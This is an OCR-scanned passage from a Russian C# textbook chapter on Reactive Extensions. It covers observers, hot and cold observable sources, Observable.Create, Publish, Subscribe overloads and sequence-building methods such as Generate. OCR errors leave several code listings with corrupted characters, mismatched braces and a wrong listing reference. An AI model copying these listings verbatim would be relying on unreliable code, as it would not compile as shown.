все, что у вас есть. В листинге 11.2 показан простой, но полноценный подписчик. 553
Глава 11 Листинг 11.2. Простая реализация интерфейса IObserver<T> class MySubscriber<T> : IObserver<T> ( public void OnNext(T value) { Console.WriteLine("Полученное значение: " + value); } public void OnCompleted() { Console.WriteLine("Конец"); } public void OnError(Exception error) { Console.WriteLine("Ошибка: " + error); ) • ‘ ) В библиотеке Rx источники (то есть реализации интерфейса lObservable<T>) обязаны соблюдать определенные гарантии относи- тельно того, каким образом они вызывают методы подписчика. Как я уже упоминал, вызовы выполняются в определенном порядке: метод OnNext вызывается для каждого элемента, предоставляемого источни- ком, но после срабатывания OnCompleted или OnError подписчик знает, что больше ни один из этих трех методов вызываться не будет. Каждый из них сигнализирует о завершении последовательности. Кроме того, вызовы не могут перекрываться — вызывая один из ме- тодов нашего подписчика, источник должен дождаться возвращения результата, прежде чем делать новый вызов. Конечно, в однопоточном мире это естественное поведение, но многопоточному источнику нужно позаботиться о согласовании своих вызовов. Это упрощает жизнь для подписчика. Так как технология Rx предо- ставляет события в виде последовательности, мой код не обязан учи- тывать возможность параллельных вызовов. Ответственность за вызов методов в правильном порядке ложится на источник. Таким образом, интерфейс IObservable<T>, несмотря на свою внешнюю простоту и на- личие всего одного метода, более требователен к реализации. Как вы увидите позже, обычно проще всего позволить библиотекам Rx выпол- нить эту реализацию за вас. Тем не менее важно понимать принцип ра- боты источников, потому для начала я реализую их вручную. 554
Реактивные расширения Интерфейс IObservable<T> В технологии Rx наблюдаемые источники делятся на горячие (ак- тивные) и холодные (пассивные). Горячий источник производит значе- ния только в момент их готовности; если он захочет сообщить о значе- нии и у него не будет подписчиков, это значение будет утеряно. Обычно активный источник представляет что-нибудь динамичное — например, ввод при помощи мыши, нажатия клавиш или информация, получае- мая от датчика. Поэтому значения, которые он производит, не зави- сят от того, сколько у него подписчиков и есть ли они вообще. Горячие источники, как правило, ведут себя по принципу трансляции — они шлют каждый элемент всем своим подписчиками. Этот вид интерфейса IObservable<T> может оказаться более сложным для реализации, потому, сначала я рассмотрю холодные источники. Реализация холодных источников Если горячие источники сообщают об элементах тогда, когда хотят, то холодные работают иначе. Они начинают присылать значения тогда, когда выполняется подписка, и вместо трансляции значения предостав- ляются для каждого подписчика отдельно. Это означает, что подписчик ничего не пропустит, даже если опоздает, так как источник начинает передавать элементы в тот момент, когда вы подписываетесь. В листин- ге 11.3 показан очень простой холодный источник. Листинг 11.3. Простой холодный источник public clas£ SimpleColdSource : IObservable<string> public IDisposable Subscribe(IObserver<string> observer) { observer.OnNext("Привет,"); observer.OnNext("мир!"); observer.OnCompleted(); return EmptyDisposable.Instance; I private class EmptyDisposable : IDisposable ( public static EmptyDisposable Instance = new EmptyDisposable(); public void Dispose() 555
Глава 11 { } } } В момент, когда появляется подписчик, источник предоставляет два значения — строки «Привет,» и «мир!» — и затем сигнализирует об окон- чании последовательности, вызывая метод OnCompleted. Все это он де- лает внутри метода Subscribe, потому данный процесс не совсем похож на подписку — к моменту, когда Subscribe возвращает результат, после- довательность уже завершена, и нет никакого смысла предусматривать процедуру отмены подписки. Вот почему здесь возвращается простей- шая реализация интерфейса IDisposable. (Я выбрал чрезвычайно про- стой пример, чтобы показать основы. Реальные источники будут более сложными.) Чтобы продемонстрировать это на практике, нам нужно создать экземпляр SimpleColdSource, а также экземпляр моего класса из листинга 11.2, используя все это, чтобы подписаться на источник, как в листинге 11.4. Листинг 11.4. Подключение подписчика к источнику var source = new SimpleColdSource(); var sub = new MySubscriber<string>(); । source.Subscribe(sub); Как и ожидалось, это приведет к выводу следующих строк: Полученное значение: Привет, Полученное значение: мир! Конец В целом холодный подписчик будет иметь доступ к некоему базово- му источнику, который может передавать информацию по требованию. В листинге 11.3 в качестве «источника» выступали два заранее задан- ных значения. В листинге 11.5 демонстрируется чуть более интересный пример пассивного источника, который считывает строки из файла и предоставляет их подписчику. Листинг 11.5. Пассивный источник, представляющий содержимое файла * public class FilePusher : IObservable<string> 1 { | private string _path; | public FilePusher(string path) f 556 i
Реактивные расширения { _path = path; } public IDisposable Subscribe(IObserver<string> observer) { using (var sr = new StreamReader(_path)) { while (!sr.EndOfStream) { observer.OnNext(sr.ReadLine()); I I observer.OnCompleted(); return EmptyDisposable.Instance; private class EmptyDisposable : IDisposable ( public static EmptyDisposable Instance = new EmptyDisposable(); public void Dispose () * { I } Как и прежде, приведенный код не представляет собой живой ис- точник событий, и> действовать он начинает, только когда кто-то под- писывается, но это уже немного интересней, чем листинг 11.3. Здесь подписчик вызывается по мере извлечения из файла строк, потому, не- смотря на то, что момент начала работы этого кода определяется под- писчиком, данный источник сам контролирует частоту, с которой он предоставляет значения. Как и в листинге 11.3, источник доставляет подписчику все элементы в рамках потока вызывающего объекта вну- три метода Subscribe, но если код чтения из файла будет использовать либо отдельный поток, либо асинхронные подходы (как те, что описаны в главе 18), то это не приведет к существенному изменению концепции, используемой в листинге 11.5, даже если метод Subscribe сможет вер- нуть результат до того, как работа будет завершена (на этом этапе вам, вероятно, захочется создать чуть более интересную реализацию интер- фейса IDisposable, чтобы вызывающие объекты могли отписываться). Это все еще будет пассивный источник, так как он представляет некий 557
Глава 11 базовый набор данных, который можно перебирать с самого начала для выдачи результата каждому отдельному подписчику Листинг 11.5 не совсем завершен — он не способен обрабатывать ошибки, возникающие в процессе чтения файла. Их необходимо отлав- ливать и вызывать из подписчика метод OnError. К сожалению, это не- много сложнее, чем просто поместить весь цикл внутрь блока try, потому что так мы будем отлавливать еще и исключения, возникающие в мето- де подписчика OnNext. Если данный метод сгенерирует исключение, мы должны будем пропустить его дальше по стеку — случаи, которые нам нужно обрабатывать, могут появляться только на тех участках нашего кода, где мы этого ожидаем. В листинге 11.6 весь код, где используется объект FileStream, помещен внутрь блока try, но все исключения, сгене- рированные подписчиком, могут продвигаться дальше по стеку, так как не мы должны заниматься их обработкой. Листинг 11.6. Обработка ошибок файловой системы, но не ош/бок подписчика public IDisposable Subscribe(IObserver<string> observer) { StreamReader sr = null; string line = null; bool failed = false; try { while (true) { try { if (sr == null) ( sr = new StreamReader(_path); ) if (sr.EndOfStream) { break; ) line = sr.ReadLine(); ) catch (lOException x) { observer.OnError (x); * 558
Реактивные расширения failed = true; break; I observer.OnNext(line); I I finally ( if (sr != null) { sr.Dispose (); } I if (!failed) { observer.OnCompleted(); I return EmptyDisposable.Instance; } Если во время чтения файла возникнут какие-лц^о исключения, связанные со вводом/выводом, то этот код сообщит о них в метод под- писчика OnError — таким образом, данный источник будет использовать все три метода интерфейса IObserver<T>. Реализация горячих источников Горячее источники оповещают всех текущих подписчиков о значе- ниях, как только те становятся доступными. Это означает, что любой активный источник должен постоянно следить за тем, кто на него сейчас подписан. Подписка и оповещение в активных источниках разделены не так, как обычно делается в пассивных. В листинге 11.7 представлен источник, который передает по одному элементу в ответ на каждое на- жатие клавиши, и для горячего источника он довольно прост. Он одно- поточный, поэтому ему не нужно делать ничего особенного, чтобы из- бежать пересекающихся вызовов. Он не сообщает об ошибках, у него не возникнет необходимости вызывать из подписчика метод OnError. И он никогда не останавливается, потому ему также не нужно вызывать ме- тод OnCompleted. Но даже при этом он довольно запутанный. (Все станет намного проще, когда я доберусь до поддержки библиотеки Rx — ны- нешний пример относительно сложный, так как пока что я использую только два базовых интерфейса.) 559
Глава 11 Листинг 11 /7. Интерфейс iobservable<T> для отслеживания нажатий клавиш public class KeyWatcher : IObservable<char> { private readonly List<Subscription> -Subscriptions = new List<Subscription>(); public IDisposable Subscribe(IObserver<char> observer) { var sub = new Subscription(this, observer); -Subscriptions.Add(sub); return sub; } public void Run() { ✓ while (true) { char c = Console.ReadKey(true).KeyChar; // Проходимся по списку подписчиков, чтобы предусмотреть отмену подписки посреди уведомления. foreach ( 1 Subscription sub in -Subscriptions.ТоАггауО) { sub.Observer.OnNext(с); } } ) private void Removesubscription(Subscription sub) { -Subscriptions.Remove(sub); } private class Subscription : IDisposable ( I private KeyWatcher _parent; ( public Subscription(KeyWatcher parent, 4 IObserver<char> observer) 9 { i _parent = parent; * Observer = observer; f ( ; public IObserver<char> Observer ( get; private set; ) i public void Disposed { 560
Реактивные расширения if (_parent != null) { _parent.Removesubscription(this); _parent = null; Здесь определен класс под названием Subscription, следящий за каждым подписчиком; здесь также находится реализация IDisposable, которую наш метод Subscribe обязан вернуть. Источник создает новый экземпляр этого вложенного класса и добавляет его в список подписчи- ков во время выполнения Subscribe, и затем при вызове метода Dispose этот экземпляр сам удаляет себя из списка. В платформе .NET принято вызывать метод Dispose для любых ресурсов IDisposable, созданных от вашего имени, как только вы закончили с ними работать. Однако при использовании технологии Rx мы обычно не удаляем объекты, которые представляют подписки, потому при реализации такого объекта вы не должны рассчитывать, что он будет удален. Как правило, в этом нет не- обходимости, так как технология Rx способна убрать за цами. В отличие от обычных для .NET событий и делегатов, источники типа lObservable неизбежно завершают свою работу, после чего все ресурсы, занятые подписчиками, могут быть освобождены. В примерах, которые я пока- зывал до сих пор, такого не происходит, потому что я предоставил свои собственные реализации, но если использовать реализации источников и подписчиков из библиотеки Rx, это будет происходить автоматиче- ски. В случае с технологией Rx подписки обычно удаляются лишь в том случае, если вы хотите отписаться до завершения работы источника. Кг Вы не обязаны проверять, остается ли доступным объект, воз- цХ 4 ш вращаемый методом Subscribe. Просто игнорируйте его, если Uy вам не нужна возможность преждевременной отмены подписки и вам все равно, освободит ли сборщик мусора этот объект, так как ни одна из реализаций интерфейса IDisposable, предлагае- мых библиотекой Rx для подписок, не имеет финализаторов. (Обычно такой процесс не нужно реализовывать самостоятель- но — здесь я делаю это только для того, чтобы показать, как он работает, — но если вы решили написать все самостоятельно, то вам следует применить такой же подход? не реализовывайте финализатор для класса, который представляет подписку.) 561
Глава 11 Класс KeyWatcher в листинге 11.7 содержит метод Run. Это не став дартная возможность технологии Rx, а просто цикл, который ждет ввод с клавиатуры — в сущности, если данный метод не будет кем-то вызвя источник не сгенерирует ни одного уведомления. Каждый раз, когд цикл получает ключ, он вызывает метод OnNext для каждого имеющей] ся в данный момент подписчика. Обратите внимание, что я создаю ко пию списка подписчиков (вызывая метод ТоАггау — это простой спосо получить список List<T>, который дублирует содержимое^оригинал! ного списка), так как вполне возможно, что подписчик решит отмени! подписку посреди вызова OnNext; это означает, что если бы я переда список подписчиков прямо в цикл foreach, я бы получил исключена А все из-за того, что списки не могут добавлять или удалять элемент! пока вы находитесь в процессе их перебора. (На самом деле даже са дание копии — это не достаточно параноидально. В действительност перед тем, как вызывать метод OnNext из каждого объекта, находящ( гося в моей копии списка, я должен проверять, имеет ли он в данны момент подписку, ведь может случиться, что какой-то один подписчи решит отменить подписку другого. Пока же будем считать, что ошибк не произойдет, так как позже я заменю весь этот код более продуманно реализацией из состава библиотеки Rx.) В использовании эта активная версия очень похожа на мои холо/ ные источники. Нам нужно создать экземпляр класса KeyWatcher, а та1 же еще один экземпляр моего источника (на сей раз с типом аргумеш char, потому что данный источник генерирует символы вместо строк Так как он не будет производить элементы, пока не начнет работу цик отслеживания, для его запуска мне нужно будет вызвать метод Run, ка это делается в листинге 11.8. Листинг 11.8. Подключение подписчика к источнику var source = new KeyWatcher(); var sub = new MySubscriber<char>(); source.Subscribe(sub); source.Run(); Выполнив код, приложение будет ожидать ввода с клавиатур! и если вы нажмете, например, клавишу М, то подписчик (листинг 11.2 отобразит сообщение «Полученное значение: т» (а так как мой исто1 ник никогда не завершает свою работу, метод Run никогда не вернет р< зультат). Возможно, вам придется иметь дело с горячими и холодным источниками одновременно. Кроме того, существуют холодные иста 562
Реактивные расширения ники, обладающие некоторыми свойствами горячих. Например, пред- ставьте себе источник, выдающий предупреждающие сообщения; было бы разумно реализовать его таким образом, чтобы он сохранял данные предупреждения — это бы гарантировало, что вы не пропустите ниче- го, происходящего между созданием источника и подключением к нему подписчика. Таким образом, это будет пассивный источник — любой но- вый подписчик получит все события, которые случились прежде — но после того, как подписчик догонит всех остальных, поведение источни- ка станет больше указывать на то, что он активный, так как любые собы- тия будут транслироваться всем имеющимся подписчикам. Как я позже покажу вам, библиотеки Rx предоставляют множество способов совме- щать и адаптировать оба вида источников. Было бы полезно увидеть, какие действия должны выполнять источ- ник и подписчик, но получится более продуктивно, если вы позволите технологии Rx взять на себя всю тяжелую работу. Поэтому я покажу вам, каким образом можно создавать источники и подписчики, если вместо двух базовых интерфейсов использовать загружаемые библиотеки Rx. , Выполнение публикации и подписки с использованием делегатов В случае использования загружаемых библиотек Rx вам не нужно реализовывать интерфейсы IObservable<T> или IObserver^T> напрямую. Библиотеки предоставляют несколько готовых реализаций. Некоторые из них являются адаптерами, объединяющими другие виды последова- тельностей, генерируемых асинхронным способом. Другие представляют собой обертку вокруг имеющихся потоков, которые могут играть роль ис- точников. Но эти вспомогательные реализации предназначены не только для использрвания уже существующих вещей. Они также способны по- мочь вам с написанием кода, который создает новые элементы или явля- ется для этих элементов конечным пунктом назначения. Самая простая из таких вспомогательных реализаций предоставляет API-интерфейсы на базе делегатов, позволяющие создавать и потреблять исходные потоки. Создание источника с использованием делегатов Как вы уже могли убедиться по предыдущим примерам, несмотря на простоту интерфейса IObservable<T>, источники, которые его реали- зуют, должны проделывать достаточно большую работу, чтобы следить 563
Глава 11 за подписчиками. А ведь мы пока еще не видели всей картины целиков В разделе «Планировщики» вы узнаете, что источнику часто необход» мо осуществлять дополнительные действия, чтобы должным образом интегрироваться в механизм потоков библиотеки Rx. К счастью, Rx Mfr жет выполнить часть этой работы за нас. В листинге 11.9 показано, как реализовать холодный источни при помощи метода Create из класса Observable (при каждом визой GetFilePusher будет создаваться новый источник, так что это, посуй, фабричный метод). Листинг 11.9. Источник, основанный на делегате public static IObservable<string> GetFilePusher(spring path) ( return Observable.Create<string>(observer => ( using (var sr = new StreamReader(path)) ( while (Isr.EndOfStream) ‘ ( observer.OnNext(sr.ReadLine()); } 1 observer.OnCompleted(); return () => ( J; I); } Этот пример делает то же самое, что и код из листинга 11.5 - он предоставляет источник, который передает подписчикам каждую стро- ку файла. (Здесь, как и в листинге 11.5, я пожертвовал обработкой оши- бок ради простоты. В реальных условиях вам нужно будет сообщать об ошибках так, как это делалось в листинге 11.6.) Основа кода осталась прежней, но теперь мне достаточно было написать всего один меди вместо целого класса, так как библиотека Rx предоставляет реализацию интерфейса IObservable<T>. Каждый раз, когда Подписчик подключается к источнику, Rx запу- скает функцию обратного вызова, которую я передал в метод Create. Все. что мне осталось сделать — это написать код для передачи элементов. Я избавился не только от внешнего класса, реализующего интерфейс 564
Реактивные расширения lObservable<T>, но и от вложенного класса, реализующего IDisposable, — метод Create позволяет нам возвращать вместо объекта делегат Action, который будет задействован в случае, если подписчик решит отписать- ся. Так как мой метод не возвращает результат, пока не закончит произ- водить элементы, ничего полезного здесь больше сделать нельзя, поэто- му я просто вернул пустой метоХ ' Итак, я написал меньше кода, чем в листинге 11.5, но помимо упро- щения реализации, метод Observable.Create выполняет две не совсем явные функции, которые не сразу можно заметить. Во-первых, если объект отписывается в самом начале, то данный код, как и полагается, перестает отправлять ему элементы, даже несмотря на то что я не написал ничего, чтобы это предусмотреть. Когда подписчик подключается к такому источнику, Rx не передает IObserver<T> напря- мую в нашу функцию обратного вызова. Аргумент observer во вложен- ном методе из листинга 11.9 ссылается на обертку, предоставленную библиотекой Rx. Когда исходный объект отписывается, эта обертка ав> тематически прекращает переправлять уведомления. Мой цикл продол- жит считывать файл даже после того, как подписчик перестанет за ним следить, что довольно расточительно, но, по крайней мере, подписчик не будет получать элементы, попросив меня остановиться. (Вам, наверное, интересно, откуда у подписчика появилась возможность отписываться, учитывая, что мой код не возвращает результат, пока не закончит работу. Дело в том, что в условиях многопоточности мы можем получить под- писку в виде реализации IDisposable, используя обертку из библиотеки Rx, и это допускается делать, прежде чем код вернет результат.) Вы можете использовать технологию Rx в сочетании с асинхронны- ми возможностями языка C# (в частности, с ключевыми словами async и await), чтрбы код, представленный в листинге 11.9, не просто обраба- тывал отмену подписки более эффективно, но и читал файл в асинхрон- ном режиме, что позволит не блокировать подписку. Это значительно повысит эффективность, а код останется практически неизменным. С асинхронными возможностями языка я начну знакомить вас в гла- ве 18, так что сейчас вы можете не уловить всего смысла, но если вам интересно, в листинге 11.10 показано, как это выглядит. Измененные строки выделены полужирным шрифтом. (Опять же, данная версия не предусматривает обработку ошибок. Асинхронные методы способны обрабатывать исключения практически так же, как и синхронные, так что для работы с ошибками вы можете использовать тот же подход, что и в листинге 11.6.) 565
Глава 11 Листинг 11.10. Асинхронный источник public static IObservable<string> GetFilePusher(string path) { return Observable.CreateAsync<string>(async (observer, cancel) => ( using (var sr = new StreamReader(path)) { while (’sr.EndOfStream ££ !cancel.IsCancellationRequested) ( observer.OnNext(await sr.ReadLineAsync()); } } ' observer.OnCompleted(); return () => { }; }); } Вторая функция, которую метод Observable.Create выполняет для нас незаметно, заключается в том, что в каких-то обстоятельствах он бу- дет использовать систему планирования из библиотеки Rx, чтобы вы- зывать наш код не напрямую, а через рабочую очередь. Это позволяет избежать возможных взаимных блокировок в тех случаях, когда вы объ- единяете вместе множество источников. Я расскажу о планировщиках позже в этой главе. В листинге 11.9 показан холодный источник; он представляет не- кий исходный набор элементов, которые начинает доставлять каждому подписчику отдельно. Горячие источники работают иначе, они трансли- руют текущие события для всех подписчиков; метод Observable.Create, основанный на делегате, не выполняет прямой доставки, а задействует делегат, который вы передаете для каждого подписчика. Но и здесь би- блиотеки Rx все еще могут пригодиться. Технология Rx предоставляет для любой реализации IObservable<T> метод расширения Publish, определенный в классе Observable, кото- рый, в свою очередь, находится в пространстве имен System.Reactive. Linq. Он служит оберткой для*источника, чей метод Subscribe (то есть делегат, переданный вами в Observable.Create) может быть выполнен только один раз и к которому вы хотите подключить несколько подпис- 566
Реактивные расширения чиков - таким образом вы получаете многоадресную логику. Строго говоря, источник, поддерживающий только одну подписку, — плохое решение, но это не будет иметь значения, если вы обернете его в метод Publish — благодаря такому подходу вы сможете реализовать горячий источник. В листинге 11.11 показано, как создать источник, обладаю- щий теми же возможностями, что и класс KeyWatcher из листинга 11.23. Я также подключил два подписчика, просто чтобы проиллюстриро- вать тот факт, что данный код позволяет подписываться нескольким объектам. Листинг 11.11. Горячий источник, основанный на делегате IObservable<char> singularHotSource = Observable.Create( (Func<IObserver<char>, IDisposable>) (obs => ( while (true) ( obs.OnNext(Console.ReadKey(true).KeyChar); I 111; IConnectableObservable<char> keySource = singularHotSource.Publish(); keySource.Subscribe (new MySubscriber<char> ()) ; keySource.Subscribe (new MySubscriber<char>()) ; Метод Publish не сразу вызывает Subscribe из источника. Он также ве делает этого, когда вы впервые подключаете подписчика к источни- ку, который данный метод возвращает. Таким образом, на момент за- пуска кода из листинга 11.11 цикл, считывающий нажатия клавиш, все еще не будет выполняться. Я должен сообщить опубликованному ис- точнику, когда нужно начинать работу. Обратите внимание, что метод Publish возвращает реализацию интерфейса IConnectableObservable<T>, который происходит от IObservable<T> и обладает единственным допол- нительным методом под названием Connect. Данный интерфейс пред- ставляет собой источник, не начинающий работать, пока ему не скажут; он создан, чтобы перед началом выполнения вы могли подключить все нужные вам источники. Вызов Connect из источника, возвращенного ме- тодом Publish, приводит к созданию подписки на мой изначальный ис- точник, который, в свою очередь, запускает функцию обратного вызова Subscribe, переданную мной в метод Observable. Create — это заставляет работать мой цикл. Таким образом, метод Connect делает то же самое, что м вызов Run из моего исходного листинга 11.7. 567
Глава 11 Метод IDisposable возвращает объект типа IDisposable. Позже л это позволит вам отключаться — то есть отписываться отис- 4?’ ходного источника. (Если не сделать данный вызов, источник, возвращаемый методом Publish, будет оставаться подписан* ным на ваш собственный источник, даже если вы запустите Dispose для каждой отдельной подписки.) Сочетание метода Observable.Create, основанного на делегате, и многоадресности, предлагаемой методом Publish, позволило мне вы- бросить из листинга 11.7 все, кроме цикла, который, собственно, генери- рует элементы, но даже он стал проще. Однако возможность избавиться от 80% кода — это еще не все. Сам код будет работать лучше - метод Publish позволяет переложить работу с подписчиками на библиотеку Rx, которая способна достойно выйти из непростой ситуации, когда объект отменяет подписку во время того, как ему приходит уведом- ление. / Конечно, технология Rx помогает не только с реализацией источни- ков. Она также может упростить и работу подписчиков. Выполнение подписки на источник с использованием делегатов Как и в случае с интерфейсом I0bservable<T>, вам не обязателью предоставлять реализацию для I0bserver<T>. Вам не всегда нужно бу- дет заботиться обо всех трех методах — источник KeyWatcher из листин- га 11.7, например, никогда не вызывает методы OnCompleted или OnError. так как он работает бесконечно и не занимается определением ошиба Но даже если вам действительно необходимо предоставить все три ме- тода, не обязательно для этого писать отдельные полноценные типы. Чтобы упростить выполнение подписки, библиотеки Rx предоставляют методы расширения, которые определены в классе ObservableExtensions из пространства имен System. Большинство исходных файлов в языке C# включают в себя дирек- тиву System;, поэтому расширения, которые она предоставляет, обычно доступны на всех участках проекта, содержащих ссылки на загружае- мую версию библиотек Rx. У метода Subscribe есть несколько перегру- женных версий, доступных для любой реализации IObservable<T>. Одна из них используеТс# в листинге 11.12. 568
Реактивные расширения Листинг 11.12. Выполнение подписки без использования !Observable<T> var source = new KeyWatcher(); source.Subscribe (value => Console.WriteLine ( "Полученное значение: " + vilue)); source. Run (); Этот пример делает то же самое, что и листинг 11.8. Однако в резуль- тате использования данного подхода отпадает необходимость в большей части кода из листинга 11.2. Вместе с методом расширения Subscribe технология Rx предоставляет нам реализацию интерфейса IObserver<T>, потому мы создаем методы только для тех уведомлений, которые нам нужны. Перегруженная версия метода Subscribe, использованная в листин- ге 11.12, принимает реализацию Action<T>, где Т — это тип элементов /утя IObservable<T> (в данном случае char). Мой источник не предоставляет оповещений об ошибках, он также не использует событие OnCompleted, чтобы сигнализировать, что элементы закончились. Однако многие ис- точники это делают, и на такой случай у метода Subscribe предусмотрено три перегруженных версии. Одна принимает дополнительный делегат типа Action<Exception>, чтобы обрабатывать ошибки. Другая (та, что не принимает аргументов) берет второй делегат типа Action, поддерживая уведомление о завершении. Третья перегруженная версия принимает три делегата — ту самую функцию обратного вызова, что и все осталь- ные (она оповещает о каждом элементе), а также обработчики исключе- ний и завершения. л Если при использовании подписки, основанной на делегате, вы д не предоставите обработчик исключений, и если источник вы- зовет метод OnError, то реализация iobserver<T> из библиотеки Rx сгенерирует исключение, чтобы ошибка не осталась неза- меченной. В листинге 11.5 OnError вызывается внутри блока catch, где обрабатываются ошибки ввода/вывода, и если вы вы- полнили подписку при помощи подхода, описанного в листин- ге 11.12, то обнаружите, что вызов OnError сгенерировал ис- ключение lOException еще раз — одно и то же исключение будет выброшено дважды: сначала объектом StreamReader, потом еще раз благодаря реализации iobserver<T> из библиотеки Rx. Так как к этому моменту мы уже будем находиться в блоке catch ли- стинга 11.5 (а не в блоке try), то во второй раз исключение либо появится из метода Subscribe, либо будет обработано дальше по стеку, либо вызовет сбой в функционировании приложения. 569
Глава 11 Есть еще одна перегруженная версия метода расширения Subscribe которая-не принимает аргументов. Она подписывается на источнж и затем просто ничего не делает с теми элементами, что ей присылают. (Все ошибки она будет переправлять обратно в источник, как и другие перегруженные версии, которые не принимают функцию обратного вы- зова для обработки ошибок.) Это может пригодиться, если у вас есть источник, в результате выполнения подписки делающий что-то важное, хотя, вероятно, лучше избегать ситуаций, где подобное необходимо. Методы для построения последовательностей В библиотеках Rx содержится несколько методов для создания по- следовательностей с нуля, не прибегая ни к пользовательским типам, ни функциям обратного вызова. Эти методы предназначены для простых последовательностей — одноэлементных, пустых или подчиняющих ся определенному шаблону. Все такие методы являются статическими и находятся в классе Observable. Метод Empty Метод Observable.Empty<T> похож на метод Enumerable.Empty<T>из LINQ to Objects, который я показывал в главе 10: он генерирует пу стую последовательность (естественно, разница заключается в том, что эта версия реализует интерфейс I0bservable<T>, а не IEnumerable<T>) Данный метод, как и его аналог из состава LINQ to Objects, полезен, когда вы работаете с API-интерфейсами, требующими наличия источ- ника с возможностью подписки, и у вас нет элементов, которые можно было бы предоставить. Из любого объекта, подписывающегося на по- следовательность Observable.Empty<T>, будет немедленно вызван метод OnCompleted. Метод Never Метод Observable.Never<T> (англ, «никогда») создает последова- тельность, которая никогда ничего не делает — не генерирует элемен тов и даже никогда не заканчивается, в отличие от пустой последова тельности. (Создатели технологии Rx также хотели назвать этот метод Inf inite<T> (англ, «бесконечный»), чтобы подчеркнуть тот факт, чтоон 570
Реактивные расширения «только никогда ничего не выдает, но и работает бесконечно.) Для это- го метода нет аналога в LINQ to Objects. Если бы вы захотели написать жвивалент Never для интерфейса IEnumerable<T>, то это был бы метод, юторый безвозвратно блокируется в тот момент, когда вы впервые пы- таетесь извлечь из него элемент. В условиях пассивных источников, та- ких как в расширении LINQ to Objects, подобное было бы совершенно бесполезно и приводило бы к зависанию вызывающего потока на протя- жении всего жизненного цикла процесса. Но в мире реактивных расши- рений технологии Rx источники не блокируют поток только потому, что находятся в состоянии, в котором не генерируются элементы, поэтому здесь метод Never не является такой уж неудачной идеей. Он может быть полезен, если его применять в сочетании с операторами, использующи- ми интерфейс IObservable<T> для представления времени работы (их я покажу позже). Метод Never может изображать активность, которая должна выполняться бесконечно. Метод Return Метод Observable.Return<T> принимает только один аргумент, воз- вращая исходную последовательность, на которую можно подписаться; она сразу же генерирует одно значение и завершается. Это хЪлодный источник — вы можете подписываться на него произвольное количество раз, и каждый подписчик получит одно и то же значение. Метод Throw Метод Observable. Throw<T> принимает один аргумент типа Exception (то есть исключение), возвращая последовательность, сразу же передаю- щую это исключение в метод OnError каждого подписчика. Как и в слу- чае с методом Return, здесь мы тоже имеем холодный источник, на кото- рый можно подписаться произвольное количество раз и который будет проделывать одно и то же с каждым подписчиком. Метод Range Метод Observable.Range генерирует числовую последовательность. По аналогии с методом Enumerable. Range он принимает начальное число и количество элементов. Этот холодный источник сгенерирует весь диа- пазон для каждого подписчика. 571
Глава 11 Метод Repeat Метод Observable.Repeat<T> принимает ввод и генерирует последо- вательность, которая повторяет этот ввод снова и снова. В качестве ввода может выступать как единичное значение, так и другая исходная после- довательность — в последнем случае метод будет переправлять каждый элемент, пока последовательность не закончится, а потом начнет повто- рять ее заново. Если не передать никаких других аргументов, то после- довательность станет генерировать значения бесконечно — останавлива- ясь только через отмену подписки. Вы также можете передать аргумент count, указывая тем самым, сколько раз должен повториться ввод. Метод Generate / Метод Observable. GenerateCTState, TResult> может генерировать бо- лее сложные последовательности, чем те, которые я только что описал. Ему нужно передать объект или значение, представляющее начальное со- стояние генератора. Это может быть любой тип на ваш выбор, так как тип данного аргумента является универсальным. Вы также должны предоста- вить три функции: проверяющую текущее состояние, чтобы определив, закончилась ли последовательность; развивающую состояние последова- тельности, готовясь выдать следующий элемент; и еще одну, определяю- щую значение, которое нужно сгенерировать для текущего состояния В листинге 11.13 этот метод используется для создания источника, вы- дающего случайные числа, пока их общая сумма не превысит 10 000. Листинг 11.13. Генерирование элементов IObservable<int> src = Observable.Generate( new { Current = 0, Total = 0, Random = new Random() }, state => state.Total <= 10000, state => { int value = state.Random.Next(1000); return new { Current = value, Total = state.Total + value, state.Random }; }, state => state.Currently Данный код всегда генерирует 0 в качестве начального элемента иллюстрируя тем самым, что перед первым вызовом функции, пред- 572
Реактивные расширения назначенной для изменения состояния, срабатывает функция, которая определяет текущее значение (заключительное лямбда-выражение в ли- стинге 11.13). Конечно, вы можете достичь того же эффекта, используя метод Observable.Create в сочетании с циклом. Однако это развернет поток управления в обратную сторону: вместо того чтобы находиться в цикле, запрашивая у библиотеки Rx создание следующего элемента, код сам будет генерировать значения в ответ на запрос из библиотеки Rx. Это дает Rx больше гибкости относительно планирования рабо- ты - к примеру, позволяет методу Generate предоставлять перегружен- ные версии, которые добавляют в данный процесс хронометраж. В ли- стинге 11.14 элементы генерируются по тому же принципу, но при этом в качестве последнего аргумента передается дополнительная функция, заставляющая библиотеку Rx задерживать доставку каждого элемента с учетом случайного интервала. Листинг 11.14. Генерирование значений в зависимости от времени IObservable<int> src = Observable.Generate( new { Current = 0, Total = 3, Random = new Random() }, state => state.Total < 10000, state => { int value = state.Random.Next(1000); return new { Current = value, Total = state.Total + value, state.Random }; I, state => state.Current, state => TimeSpan.FromMilliseconds(state.Random.Next(1000))); Чтобы подобное сработало, библиотека Rx должна иметь возмож- ность планировать свое выполнение на какой-то момент в будущем. Я объясню, как это функционирует, в разделе «Планировщики», а пока что в листинге 11.15 покажу, как обрабатывать такие отложенные эле- менты в подходящий момент времени. Листинг 11.15. Обработка запланированных элементов src.Subscribe(х => Console.WriteLine(х)); phile (true) ( Scheduler. Default .Yield ();
Глава 11 Этот код находится в бесконечном цикле и заставляет текущий п« нировщик запускать любые отложенные элементы. На практике если til вы захотели применить подобного рода генерирование элементов в ф висимости от времени, вы бы, вероятно, воспользовались одним из if компонентов, которые я опишу в разделе «Встроенные планировщики! I ! LINQ-запросы | Одним из важнейших преимуществ от использования библиоте! Rx является то, что она содержит реализацию технологии LINQ, котор позволяет писать запросы для обработки асинхронных потоков с соб| тиями в качестве элементов. Это проиллюстрировано в листинге 11.1 Сначала создается источник, представляющий события типа MouseMoi получаемые из элемента пользовательского интерфейса. Более подро но я расскажу об этом подходе в разделе «Интеграция», а пока вамд статочно будет знать, что библиотека Rx может обернуть любое событ платформы .NET в виде источника. Каждое событие генерирует элеме с двумя свойствами, значения которых обычно передаются обработч кам событий в качестве аргументов (это данные об отправителе и арг менты события). Листинг 11.16. Фильтрация элементов при помощи UNQ-запроса I0bservable<EventPattern<MouseEventArgs>> mouseMoves = Observable.FromEventPattern<MouseEventArgs>(background, "MouseMove"); IObservable<Point> dragPositions = from move in mouseMoves where Mouse.Captured = background select move.EventArgs.GetPosition(background); dragPositions.Subscribe (point => { line.Points.Add(point); }); Выражение where в LINQ-запросе фильтрует события — на обраб( ку попадают только те из них, которые были захвачены в результате дв жения мыши над конкретным элементом пользовательского интерфеи (background). Приводерный пример основан на платформе 